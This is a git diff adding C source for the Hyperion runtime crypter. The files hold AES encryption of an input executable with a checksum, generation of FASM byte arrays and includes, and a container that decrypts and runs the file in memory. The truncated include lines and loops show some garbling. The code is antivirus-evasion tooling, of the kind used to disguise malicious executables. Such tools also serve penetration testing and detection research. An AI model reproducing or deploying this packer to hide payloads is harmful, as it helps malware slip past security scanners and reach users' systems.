ForwarderChain dd ? + Name_ dd ? + FirstThunk dd ? +ends + +struct IMAGE_IMPORT_BY_NAME + Hint dw ? + Name_ rb 1 +ends + +IMAGE_ORDINAL_FLAG64 = 8000000000000000h diff --git a/binary/hyperion/source/Src/Crypter/aes.c b/binary/hyperion/source/Src/Crypter/aes.c new file mode 100644 index 0000000..9ffa001 --- /dev/null +++ b/binary/hyperion/source/Src/Crypter/aes.c @@ -0,0 +1,53 @@ +#include "hyperion.h" +#include "fasmoutput.h" + +//include '..\..\Payloads\Aes\32\aes.inc' +//include '..\..\Payloads\Aes\32\aes.asm' +//include '..\..\Payloads\Aes\32\decryptexecutable.asm' + +BOOL decryptAES(BOOL pe32){ + const char* payload_directory; + const char* container_directory; + + //select destination paths + if(pe32){ + payload_directory = PAYLOAD32_AES_DIR; + container_directory = CONTAINER32_DIR; + } + else{ + payload_directory = PAYLOAD64_AES_DIR; + container_directory = CONTAINER64_DIR; + } + + //create file names + char aes_inc[MAX_CHAR_SIZE]; + aes_inc[0] = 0; + strlcat(aes_inc, payload_directory, MAX_CHAR_SIZE); + strlcat(aes_inc, AES_INC_FILENAME, MAX_CHAR_SIZE); + + char aes_asm[MAX_CHAR_SIZE]; + aes_asm[0] = 0; + strlcat(aes_asm, payload_directory, MAX_CHAR_SIZE); + strlcat(aes_asm, AES_ASM_FILENAME, MAX_CHAR_SIZE); + + char decrypter_asm[MAX_CHAR_SIZE]; + decrypter_asm[0] = 0; + strlcat(decrypter_asm, payload_directory, MAX_CHAR_SIZE); + strlcat(decrypter_asm, AES_DECRYPTION_FILENAME, MAX_CHAR_SIZE); + + //create include file to use aes algorithm + if(!fasmInclude(container_directory, DECRYPTION_PAYLOAD_FILENAME, aes_inc, FALSE)) + { + return FALSE; + } + if(!fasmInclude(container_directory, DECRYPTION_PAYLOAD_FILENAME, aes_asm, TRUE)) + { + return FALSE; + } + if(!fasmInclude(container_directory, DECRYPTION_PAYLOAD_FILENAME, decrypter_asm, TRUE)) + { + return FALSE; + } + + return TRUE; +} diff --git a/binary/hyperion/source/Src/Crypter/encryption.c b/binary/hyperion/source/Src/Crypter/encryption.c new file mode 100644 index 0000000..6c5568c --- /dev/null +++ b/binary/hyperion/source/Src/Crypter/encryption.c @@ -0,0 +1,67 @@ +#include "hyperion.h" + +#define CBC 0 +#define CTR 0 +#define ECB 1 +#include + +#include +#include +#include + +/** + * Create a simple checksum from a file which adds each of its bytes + */ +uint32_t getChecksum(unsigned char* data, unsigned int size){ + uint32_t ret = 0; + for(unsigned int i=0; i +#include +#include +#include + +/** + * Calculates the checksum of input_file, encrypts checksum+input_file, + * converts checksum+input_file to a FASM byte array and writes it to filename. + * Furthermore, a FASM include is generated which contains the previously + * calculated file size. + */ +BOOL fasmEncryptOutput(const char* output_dir, struct OpenFile* input_file, + unsigned int key_length, unsigned int key_space){ + //calculate size the size of encrypted input file and create a FASM include + unsigned int encrypted_size = input_file->size + CHECKSUM_SIZE; + encrypted_size+=AES_BLOCK_SIZE - (encrypted_size%AES_BLOCK_SIZE); + verbose("Input file size + Checksum: 0x%x\n", input_file->size + CHECKSUM_SIZE); + verbose("Rounded up to a multiple of key size: 0x%x\n", encrypted_size); + if(!fasmDefine(output_dir, INFILE_SIZE_FILENAME, INFILE_SIZE_LABEL, + encrypted_size, FALSE)) { + return FALSE; + } + + //allocate memory for checksum+input_file + uint8_t* encrypted_input = calloc(encrypted_size, sizeof(uint8_t)); + if(!encrypted_input) { + fprintf(stderr, "Could not allocate memory for encrypted input file\n"); + return FALSE; + } + memcpy(&(encrypted_input[CHECKSUM_SIZE]), input_file->file, input_file->size); + uint32_t checksum = getChecksum(input_file->file, input_file->size); + verbose("Generated checksum: 0x%x\n", checksum); + *((uint32_t*) encrypted_input) = checksum; + + //encrypt checksum+input_file + if(!encryptFile(encrypted_input, encrypted_size, key_length, key_space)) { + return FALSE; + } + + /* + * fasm byte array which contains the encrypted file. Size is calculated: + * 3 for initial "db ", 61 per 10 encrypted bytes, 2 additional lines + * just to be save ;) + */ + unsigned int fasm_output_size = 3 + (encrypted_size/10)*63 + 2*63; + char* fasm_output = calloc(fasm_output_size, sizeof(char)); + if(!fasm_output) { + fprintf(stderr, "Could not allocate memory for encrypted fasm array\n"); + free(encrypted_input); + return FALSE; + } + + strlcat(fasm_output, "db ", fasm_output_size); + unsigned int fasm_output_pointer = strlen(fasm_output); + for(unsigned int i=0; i equ " and stores the result + * in an output file + */ +BOOL fasmDefine(const char* output_dir, const char* file_name, + const char* label, uint64_t value, BOOL append){ + //create output + char output_buffer[MAX_CHAR_SIZE]; + output_buffer[0] = 0; + strlcat(output_buffer, label, MAX_CHAR_SIZE); + strlcat(output_buffer, " equ 0x", MAX_CHAR_SIZE); + char hex_value[MAX_CHAR_SIZE]; + hex_value[0] = 0; + snprintf(hex_value, MAX_CHAR_SIZE, "%I64x", value); + strlcat(output_buffer, hex_value, MAX_CHAR_SIZE); + strlcat(output_buffer, "\r\n", MAX_CHAR_SIZE); + + //write output to file + char full_output_name[MAX_CHAR_SIZE]; + full_output_name[0] = 0; + strlcat(full_output_name, output_dir, MAX_CHAR_SIZE); + strlcat(full_output_name, file_name, MAX_CHAR_SIZE); + if(!memToFile(full_output_name, output_buffer, strlen(output_buffer), + append)) { + fprintf(stderr, "Could not write include file %s\n", + full_output_name, append); + return FALSE; + } + else{ + verbose("%s written to %s\n", output_buffer, full_output_name); + return TRUE; + } +} + +/** + * Declares a FASM include "include